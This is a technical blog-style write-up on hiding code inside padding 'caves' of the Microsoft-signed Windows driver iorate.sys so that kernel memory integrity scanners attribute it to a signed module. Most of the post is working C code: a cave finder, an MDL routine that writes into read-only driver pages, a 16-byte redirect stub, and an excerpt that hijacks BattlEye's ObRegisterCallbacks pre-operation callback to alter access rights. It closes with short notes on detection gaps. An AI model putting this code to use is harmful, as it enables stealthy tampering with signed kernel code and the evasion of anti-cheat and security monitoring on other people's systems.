Code caves in signed kernel drivers
Any unsigned executable page in the kernel is a signal. The question is whether the page you’re using is actually yours.
A common memory integrity check walks loaded images, looks at which pages are backed by a verified signed binary, and flags anything executing from outside those ranges. It’s a reasonable heuristic. It misses the case where you’re executing from inside a signed image but have replaced the bytes.
This is the kernel equivalent of PE stomping in user space. You find slack space inside a legitimate driver, write your code into it, and point something at it. The scanner sees execution inside iorate.sys. It’s satisfied.
What scanners check and what they don’t
Most user-mode memory integrity tools that inspect kernel state ask a version of this question: “is this EPROCESS or callback pointer pointing at memory backed by a verified signed module?”
They query the page’s backing image by walking PsLoadedModuleList (or using RtlPcToFileHeader / AuxKlibQueryModuleInformation) to find which loaded module owns a given virtual address range. If the address falls within a known signed module’s VA range, it passes.
What they’re not doing is comparing the live bytes at that address against the bytes in the file on disk. That check is more expensive, requires having the original image accessible, and is not something most user-mode scanners implement for every loaded module. Kernel Patch Guard does something in this space, but it covers specific structures and code regions, not arbitrary padding areas.
So the attack surface is: find a signed module with X bytes of consecutive padding in its executable section, write your code there, and use that address as your function pointer.
Why iorate.sys
iorate.sys is a Microsoft-signed inbox driver present on every modern Windows install. It handles I/O rate control for storage. For our purposes, what matters is:
- It loads early and stays loaded on any system running storage workloads. In practice it’s present on every machine worth targeting.
- It’s Microsoft-signed, which satisfies any attestation check.
- Its
.textsection contains INT3 padding sequences long enough to fit a small code stub.
Other drivers work too, but iorate.sys is reliable. Just don’t pick anything on the PatchGuard watch list (win32kbase.sys, ntfs.sys, tcpip.sys, etc.) unless you want a BSOD.
Cave discovery
The scan algorithm is straightforward. Walk the .text section looking for a run of 0xCC bytes (INT3, the compiler’s preferred padding opcode) long enough to hold your stub, where that run is preceded by a return instruction.
The return-before-padding check matters. You want to land in genuine inter-function padding, not in the middle of a function body that happens to use int3 for debug purposes. A RET immediately before the run of 0xCC bytes is a reliable indicator you’re in compiler-generated padding.
static BOOLEAN is_retop(BYTE op)
{
return op == 0xC2 || op == 0xC3 || op == 0xCA || op == 0xCB;
}
static QWORD find_codecave(VOID *module, INT length)
{
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)module;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)dos + dos->e_lfanew);
QWORD start = 0, size = 0;
QWORD header_off = (QWORD)IMAGE_FIRST_SECTION(nt);
for (INT x = 0; x < nt->FileHeader.NumberOfSections; ++x)
{
IMAGE_SECTION_HEADER *sec = (IMAGE_SECTION_HEADER *)header_off;
if (strcmp((CHAR *)sec->Name, ".text") == 0)
{
start = (QWORD)module + sec->VirtualAddress;
size = sec->Misc.VirtualSize;
break;
}
header_off += sizeof(IMAGE_SECTION_HEADER);
}
QWORD match = 0;
INT curlen = 0;
BOOLEAN saw_ret = FALSE;
for (QWORD cur = start; cur < start + size; ++cur)
{
if (!saw_ret && is_retop(*(BYTE *)cur))
{
saw_ret = TRUE;
}
else if (saw_ret && *(BYTE *)cur == 0xCC)
{
if (!match) match = cur;
if (++curlen == length) return match;
}
else
{
match = curlen = 0;
saw_ret = FALSE;
}
}
return 0;
}The function returns the address of the first suitable run, or zero if none found. Call it with module_base and however many bytes your stub needs.
Verify with System Informer: Kernel → Modules tab → find
iorate.sys→ note its base address and size. In a separate debugger session (windbg -k), runub iorate!<some_export>near the end of the.textsection and you’ll see sequences ofint 3padding between functions.
Writing into the cave
The .text section of a loaded driver is mapped read-only (or read-execute). You can’t write directly to it. Two options: clear the WP bit in CR0, or use an MDL to get a writable mapping of the same physical page.
Clearing CR0’s WP bit is fine on non-HVCI systems but causes a VM-exit on HVCI. The MDL approach is more portable:
static BOOLEAN remap_page(VOID *address, BYTE *assembly,
ULONG length, BOOLEAN restore)
{
MDL *mdl = IoAllocateMdl(address, length, FALSE, FALSE, NULL);
if (!mdl) return FALSE;
MmProbeAndLockPages(mdl, KernelMode, IoWriteAccess);
VOID *map = MmMapLockedPagesSpecifyCache(
mdl, KernelMode, MmNonCached, NULL, FALSE, NormalPagePriority);
if (!map)
{
MmUnlockPages(mdl);
IoFreeMdl(mdl);
return FALSE;
}
NTSTATUS s = MmProtectMdlSystemAddress(mdl, PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(s))
{
MmUnmapLockedPages(map, mdl);
MmUnlockPages(mdl);
IoFreeMdl(mdl);
return FALSE;
}
RtlCopyMemory(map, assembly, length);
if (restore)
MmProtectMdlSystemAddress(mdl, PAGE_READONLY);
MmUnmapLockedPages(map, mdl);
MmUnlockPages(mdl);
IoFreeMdl(mdl);
return TRUE;
}IoAllocateMdl creates a memory descriptor for the target address range. MmMapLockedPagesSpecifyCache gives you a second virtual address mapping of the same physical pages. MmProtectMdlSystemAddress makes that mapping writable. You copy into the mapping; the writes land on the original physical page, so the original virtual address now holds your bytes too.
This works even when the original page’s PTE has no write bit. The MDL mapping is a separate PTE with its own permissions.
The stub
Once you have a writable cave, you need a stub. For the use case of redirecting a function pointer (like an object callback registration), a 16-byte push/xchg/ret trampoline works:
static BOOLEAN patch_codecave_detour(QWORD cave_addr, QWORD target)
{
BYTE stub[16] = {
0x50, // push rax
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, // mov rax, TARGET
0x48, 0x87, 0x04, 0x24, // xchg QWORD PTR [rsp], rax
0xC3 // retn
};
*(QWORD *)(stub + 3) = target;
return remap_page((VOID *)cave_addr, stub, 16, FALSE);
}The sequence saves rax by pushing it, loads the target address into rax, then swaps rax with the return address on the stack. The retn pops the original return address (which is now the target) and jumps there. rax is restored to its original value in the process. It’s a call-compatible redirect: the caller’s stack is clean, no scratch register is clobbered.
The 0x48 0xB8 encoding is REX.W MOV RAX, imm64 – 2 bytes of opcode plus 8 bytes of immediate. Target address goes at byte offset 3 in the stub.
The full stub is 16 bytes. You need at least 16 contiguous 0xCC bytes in your cave.
How this looks to a scanner
From the scanner’s perspective:
- The cave address falls within
iorate.sys’s loaded VA range. - The page backing it is part of
iorate.sys’s section object. - The module is Microsoft-signed and passes any signature check.
- The executing code pointer (e.g., the object callback) resolves to inside a signed image.
What the scanner would need to do to catch this: read the live bytes from the cave address and compare them against the bytes in iorate.sys on disk. That’s a hash comparison or a byte-by-byte diff. It requires opening the file, mapping it, computing the expected bytes at the same offset, and checking for divergence.
A scanner doing continuous live-vs-disk comparison for every page of every loaded kernel module would catch it immediately. Most don’t.
The diagram below shows the memory layout. The .text section of iorate.sys runs from the module base to the end of the section. Somewhere in that range is a run of 0xCC padding following a return instruction. The stub overwrites those bytes. The function pointer (callback registration, IAT entry, whatever) is redirected to point at the cave.
Putting it together
In practice (from a private driver project’s Hook_ObRegisterCallbacks):
// Intercept BattleEye's ObRegisterCallbacks call.
// Save their original pre-op callback.
_be_original_ob_callback =
callback_registration->OperationRegistration->PreOperation;
// Find a 16-byte cave in iorate.sys.
PRTL_PROCESS_MODULES modules = Utils::GetModuleList();
for (ULONG i = 0; i < modules->NumberOfModules; i++)
{
if (!strstr((const char *)modules->Modules[i].FullPathName, "iorate"))
continue;
QWORD cave = Utils::find_codecave(modules->Modules[i].ImageBase, 16);
if (!cave) break;
// Write the push/xchg/ret stub into the cave, targeting our hook fn.
Utils::patch_codecave_detour(cave, (uint64_t)&HookCallback);
// Replace BE's callback pointer with the cave address.
callback_registration->OperationRegistration->PreOperation =
(POB_PRE_OPERATION_CALLBACK)cave;
break;
}
ExFreePoolWithTag(modules, 'EB');
return ObRegisterCallbacks(callback_registration, registration_handle);ObRegisterCallbacks validates that the PreOperation pointer falls within a loaded signed module. The cave address passes that check. BattleEye’s callback runs through our stub in iorate.sys, which redirects to HookCallback, which tweaks the access rights before calling the original callback.
Verify with System Informer: Kernel → Drivers tab → right-click
iorate.sys→ Properties → Memory. Note the mapped range. In WinDbg, usedb <cave_address> L10to dump the cave bytes. Before patching you’ll seeCC CC CC CC...; after, you’ll see the stub bytes starting with50 48 B8.
Limitations
A few things that make this less than ideal for a general-purpose technique:
Module unload destroys the cave. If iorate.sys somehow unloads while your stub is in use, the cave address is invalid and the next call through it faults. In practice iorate.sys doesn’t unload on a running system, but it’s not a guarantee you can make in driver code without holding a reference.
Padding size is a hard constraint. You get as many bytes as the compiler left. If the driver has no run of 0xCC padding large enough for your stub, there’s no cave. On release-optimized builds, the compiler may pad less aggressively. Check your target before committing to this approach.
HVCI changes the MDL story. On a system with Hypervisor-Protected Code Integrity, MmProtectMdlSystemAddress with PAGE_EXECUTE_READWRITE will be refused. The MDL trick works without HVCI; with it, you need a different primitive. The remap_page function above would fail at MmProtectMdlSystemAddress and return FALSE.
ETW kernel logger. Event Tracing for Windows at the kernel level can log MmMapLockedPagesSpecifyCache calls. A sufficiently paranoid detection pipeline monitoring kernel ETW events would see the MDL remap on iorate.sys’s pages. Whether anyone’s actually using that signal is a different question.
The technique works because page attribution is not content verification. Once you accept that distinction, the rest follows.